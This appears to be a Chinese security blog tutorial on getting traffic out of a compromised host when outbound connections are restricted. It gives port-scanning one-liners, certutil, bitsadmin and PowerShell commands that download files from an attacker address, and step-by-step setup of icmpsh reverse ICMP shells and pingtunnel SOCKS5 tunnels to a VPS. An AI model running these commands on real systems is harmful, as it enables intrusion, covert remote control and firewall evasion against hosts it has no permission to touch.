个人博客:wutongsec.cn
禁止出站 IP
对于这种情况的话,就很麻烦了。如果目标主机设置了严格的策略,只允许主动连接公网指定的 IP。这样的话,就没办法反弹 shell 了。
禁止出站端口
如果防火墙上做了限制,只允许该服务器访问特定端口。那么,这样的话,我们就必须得找到允许访问的端口了。一般来说,如果目标是限制的出站端口,那么允许出站端口大概率是 80、443、8080、8443、8090 之类的 web 端口,但是也有可能是高范围端口。
如何探测?在攻击端监听某个端口,然后让目标访问攻击端的端口,若攻击端出现访问记录则说明该端口是允许访问的。
但是,要想成功探测也是很麻烦的,有以下几个难点:
• 探测出站端口的命令或工具
• 猜测端口的范围
• 攻击端的端口请求记录
对于探测命令,Windows 和 Linux 所支持的不同。总的来说,我们有很多种选择。如:nmap、nc、masscan 之类的专门端口探测的工具,这类工具需要我们
自己上传。还可以使用 python、perl 等脚本语言探测端口。也可以借助 curl、wget 之类的 http 访问工具。总之,我们要结合目标环境来考量,最总要还是要考
虑效率的问题!
工具探测
fscan -h 182.61.200.6 -p 1-65535
masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000
nmap -sT -Pn -p- -v www.baidu.com
脚本探测:
1. 探测指定范围端口
for i in {440..449}; do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed" done
-
作用:这个命令会探测
baidu.com
网站的 440 到 449 端口范围是否开放。 -
解析
:
-
{440..449}
:表示一个端口范围,从 440 到 449。 -
timeout 0.5
:设置超时时间为 0.5 秒,即如果 0.5 秒内没有响应,认为该端口关闭。 -
bash -c "echo >/dev/tcp/baidu.com/$i"
:通过 Bash 访问/dev/tcp/baidu.com/$i
,尝试连接指定的端口$i
(即440..449
)。 -
&& echo "$i ************************open************************"
:如果连接成功(即端口开放),输出端口号并标明开放。 -
|| echo "$i closed"
:如果连接失败(即端口关闭),输出端口号并标明关闭。
-
2. 将结果写入文件
for i in {440..449}; do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed" done >> result.txt
-
作用:这个命令与第一个命令相同,但不同的是它将结果保存到文件
result.txt
中。 -
解析:
-
>> result.txt
:将输出追加到result.txt
文件中。如果文件不存在,会创建该文件。
-
3. 探测常见端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211}; do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed" done
-
作用:探测常见的服务端口是否开放,目标是
baidu.com
。 -
常见端口解释:
-
21:FTP
-
22:SSH
-
23:Telnet
-
25:SMTP
-
53:DNS
-
80:HTTP
-
443:HTTPS
-
3306:MySQL
-
6379:Redis
-
8080:HTTP 代理或应用服务
-
11211:Memcached
-
其他端口涉及常见的网络服务如 LDAP、NTP、POP3 等。
-
-
解析:与第一个脚本类似,通过
timeout 0.5
限定超时时间,使用/dev/tcp
特性判断这些常见端口的开放状态。
探测 ICMP 协议
服务端监听 ICMP 流量:tcpdump icmp
客户端 ping VPS 地址,查看服务端能否收到请求
我们 VPS 监听,然后 ping 我们 vps 查看能否收到监听来判断 ICMP 协议是否出网。也可以直接 ping 一个地址,看是否有 ttl 值。
探测 DNS 协议
Windows:nslookup、ping
Linux:nslookup、dig、ping
通过判断能否将域名解析为 ip,判断 DNS 协议是否出网。也可以将域名换成dnslog 的域名,再看 dnslog 能否收到请求
探测 HTTP 协议
Linux 系统可以使用 curl 命令:
curl http://192.168.10.13
Windows 系统可以使用以下命令:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing
只有 icmp 协议出网场景
利用 icmp 协议通信的工具有很多,如:icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel
ICMP(Internet Control Message Protocol)隧道是一种利用ICMP协议来传输其他类型的数据的技术。通常情况下,当两台设备通过网络进行通信时,需要使用特定的端口和服务。然而,ICMP协议本身并不依赖于端口号,而是通过类型和代码字段来区分不同的消息。
ICMP协议的特点:
-
无端口:不像TCP或UDP那样需要指定端口,ICMP主要用于发送错误消息和运营信息。
-
广泛支持:几乎所有的网络设备都支持ICMP协议,特别是用于网络诊断的ping命令。
-
防火墙友好:许多网络管理员允许ICMP流量通过防火墙,以保持网络的可管理性和诊断能力。
ICMP隧道的工作原理:
攻击者利用ICMP协议的这些特点,可以通过以下步骤建立ICMP隧道:
-
封装数据:攻击者将想要传输的数据(如TCP/UDP数据)封装进ICMP Echo Request(即ping请求)的数据字段中。
-
发送请求:封装后的ICMP数据包被发送到目标主机。
-
解封装数据:目标主机接收到ICMP Echo Request后,提取出原始数据并处理。
-
响应:目标主机可能也会通过ICMP Echo Reply(ping回复)将响应数据回传给我们
目标为 Windows
下载 icmpsh 工具
攻击机的操作:
#关闭 icmp 回复,如果要开启 icmp 回复,该值设置为 0
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#运行,第一个 IP 是 VPS 的 eth0 网卡 IP,第二个 IP 是目标机器出口的公网 IP(虚拟机直接上网查直接查) python2 icmpsh_m.py 172.20.92.13 <公网ip>
注:使用 icmpsh 需要依赖 impacket 库文件,所以在使用前需要安装impacket。
目标机器的操作:
icmpsh.exe -t 39.99.251.19 -d 500 -b 30 -s 128
-t:指定远程主机 ip
-d:请求之间的延迟,单位为毫秒,默认 200
-b:退出前的最大空格数(未应答的 icmp 请求)
-s:最大数据缓冲区的字节大小(默认值为 64 个字节)
可以用veshark查看流量为icmp
使用 PingTunnel 搭建隧道
pingtunnel 是一款把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具。 项目地址:https://github.com/esrrhs/pingtunnel/
服务端参数
参数 | 描述 | 默认值 |
---|---|---|
-key | 设置的密码 | 0 |
-nolog | 不写日志文件,只打印标准输出 | 0 |
-noprint | 不打印屏幕输出 | 0 |
-loglevel | 日志文件等级 | info |
-maxconn | 最大连接数 | 0(不限制) |
-maxprt | 服务器最大处理线程数 | 100 |
-maxprb | 服务器最大处理线程 buffer 数 | 1000 |
-conntt | 服务器发起连接到目标地址的超时时间 | 1000ms |
客户端参数
参数 | 描述 | 默认值 |
---|---|---|
-l | 本地的地址,发到这个端口的流量将转发到服务器 | |
-s | 服务器的地址,流量将通过隧道转发到这个服务器 | |
-t | 远端服务器转发的目的地址,流量将转发到这个地址 | |
-timeout | 记录连接超时的时间,单位是秒 | 60s |
-key | 设置的密码 | 0 |
-tcp | 是否转发 TCP | 0 |
-tcp_bs | TCP 的发送接收缓冲区大小 | 1MB |
-tcp_mw | TCP 的最大窗口 | 20000 |
-tcp_rst | TCP 的超时发送时间 | 400ms |
-tcp_gz | 当数据包超过这个大小,TCP 将压缩数据,0 表示不压缩 | 0 |
-tcp_stat | 打印 TCP 的监控 | 0 |
-nolog | 不写日志文件,只打印标准输出 | 0 |
-noprint | 不打印屏幕输出 | 0 |
-loglevel | 日志文件等级 | info |
-sock5 | 开启 SOCK5 转发 | 0 |
-profile | 在指定端口开启性能检测 | 0(不开启) |
-s5filter | SOCK5 模式设置转发过滤,CN 代表 CN 地区的直连不转发 | 全转发 |
-s5ftfile | SOCK5 模式转发过滤的数据文件 | GeoLite2-Country.mmdb |
服务端
-
关闭 ICMP 回复 关闭 ICMP 回复可以防止不必要的 ICMP 流量干扰隧道的正常工作。执行以下命令:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
-
启动 ICMP 隧道服务器 使用
pingtunnel
工具启动服务器端,监听 ICMP 流量并转发到 SOCKS5 代理。假设pingtunnel
工具已经安装在你的系统中,执行./pingtunnel -type server -noprint 1 -nolog 1
客户端操作
pingtunnel.exe -type client -l :1080 -s 39.99.251.19 -sock5 1 -noprint 1 -nolog1